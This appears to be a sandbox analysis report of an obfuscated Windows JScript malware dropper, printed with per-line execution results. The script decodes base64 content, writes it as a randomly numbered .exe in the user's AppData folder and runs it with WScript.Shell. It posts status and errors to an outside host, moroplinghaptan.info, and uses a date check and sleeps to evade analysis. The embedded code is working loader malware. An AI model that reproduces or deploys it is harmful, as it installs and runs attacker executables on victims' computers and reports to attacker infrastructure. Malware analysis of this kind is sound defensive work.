0 | var wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz = [ "" ]; | |
1 | var ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe = 1; | |
2 | kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA = 2; | |
3 | function UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL(lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp, zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU) { | - UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL("","C:\Users\user\AppData\Roaming\1028.exe") ➔ false
|
4 | try | |
5 | { | |
6 | var bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD = WScript.CreateObject ( "MSXml2.DOMDocument" ); | - Windows Script Host.CreateObject("MSXml2.DOMDocument") ➔
|
7 | var SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm = bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD.createElement ( "Base64Data" ); | - createElement("Base64Data") ➔
|
8 | SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.dataType = "bin.base64"; | |
9 | SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.text = lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp; | |
10 | var OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI = WScript.CreateObject ( "ADODB.Stream" ); | - Windows Script Host.CreateObject("ADODB.Stream") ➔
|
11 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Type = ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe; | |
12 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Open ( ); | |
13 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Write ( SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.nodeTypedValue ); | |
14 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.SaveToFile ( zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU, kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA ); | |
15 | OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Close ( ); | |
16 | return true; | |
17 | } | |
18 | catch ( e ) | |
19 | { | |
20 | zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Save', e.message ); | - zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo("Save","Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ false
|
21 | return false; | |
22 | } | |
23 | } | |
24 | function GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() { | - GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() ➔ "C:\Users\user\AppData\Roaming"
|
25 | var seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe = new ActiveXObject ( 'WScript.Shell' ); | |
26 | var ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg = seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe.SpecialFolders; | |
27 | var NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv = ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg.item ( 5 ); | - item(5) ➔ "C:\Users\user\AppData\Roaming"
|
28 | return NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv; | |
29 | } | |
30 | function GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf(pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ, ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU) { | |
31 | var CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC = new ActiveXObject ( 'WScript.Shell' ); | |
32 | CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC.Run ( pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ + '\\' + ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU + '.exe' ); | |
33 | zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Exec', 'offloader' ); | |
34 | } | |
35 | function phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() { | - phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-10-04 9:34:26"
|
36 | var jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc = new Date ( ); | |
37 | var UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getDate ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getDate() ➔ 4
|
38 | var sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMonth ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getMonth() ➔ 9
|
39 | var fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getYear ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getYear() ➔ 2017
|
40 | return fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv + "-" + ( ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) < 10 ? '0' + ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) : ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) ) + "-" + ( UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT < 10 ? '0' + UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT : UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT ) + ' ' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getHours ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMinutes ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getSeconds ( ); | - Wed Oct 4 09:34:26 UTC+0200 2017.getHours() ➔ 9
- Wed Oct 4 09:34:26 UTC+0200 2017.getMinutes() ➔ 34
- Wed Oct 4 09:34:26 UTC+0200 2017.getSeconds() ➔ 26
|
41 | } | |
42 | ; | |
43 | function zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo(oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd, NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla) { | - zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo("Save","Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ false
|
44 | var neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt = new ActiveXObject ( "Msxml2.XMLHTTP" ); | |
45 | try | |
46 | { | |
47 | neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.open ( "POST", "http://moroplinghaptan.info/eroorrrs", false ); | - open("POST","http://moroplinghaptan.info/eroorrrs",false) ➔ undefined
|
48 | neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.setRequestHeader ( "Content-Type", "text/html" ); | - setRequestHeader("Content-Type","text/html") ➔ undefined
|
49 | neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.send ( '194459428' + ':::' + oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd + ':::' + NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla ); | - send("194459428:::Save:::Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ undefined
|
50 | } | |
51 | catch ( e ) | |
52 | { | |
53 | return false; | |
54 | } | |
55 | } | |
56 | var time = phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl ( ); | - phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-10-04 9:34:26"
|
57 | if ( time < '2018-09-28 09:52:05' ) | |
58 | { | |
59 | var i = 0; | |
60 | while (i < wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz.length ) | |
61 | { | |
62 | WScript.Sleep ( 20000 ); | - Windows Script Host.Sleep(20000) ➔ undefined
|
63 | var TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ = Math.floor ( ( Math.random ( ) * 2000 ) + 1000 ); | - [object Math].random() ➔ 0.014130402757864035
- [object Math].floor(1028.2608055157281) ➔ 1028
|
64 | var PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy = GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj ( ); | - GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() ➔ "C:\Users\user\AppData\Roaming"
|
65 | var kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe = UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL ( wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz[i], PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy + '\\' + TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ + '.exe' ); | - UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL("","C:\Users\user\AppData\Roaming\1028.exe") ➔ false
|
66 | if ( kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe ) | |
67 | { | |
68 | GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf ( PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy, TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ ); | |
69 | } | |
70 | i ++; | |
71 | } | |
72 | } | |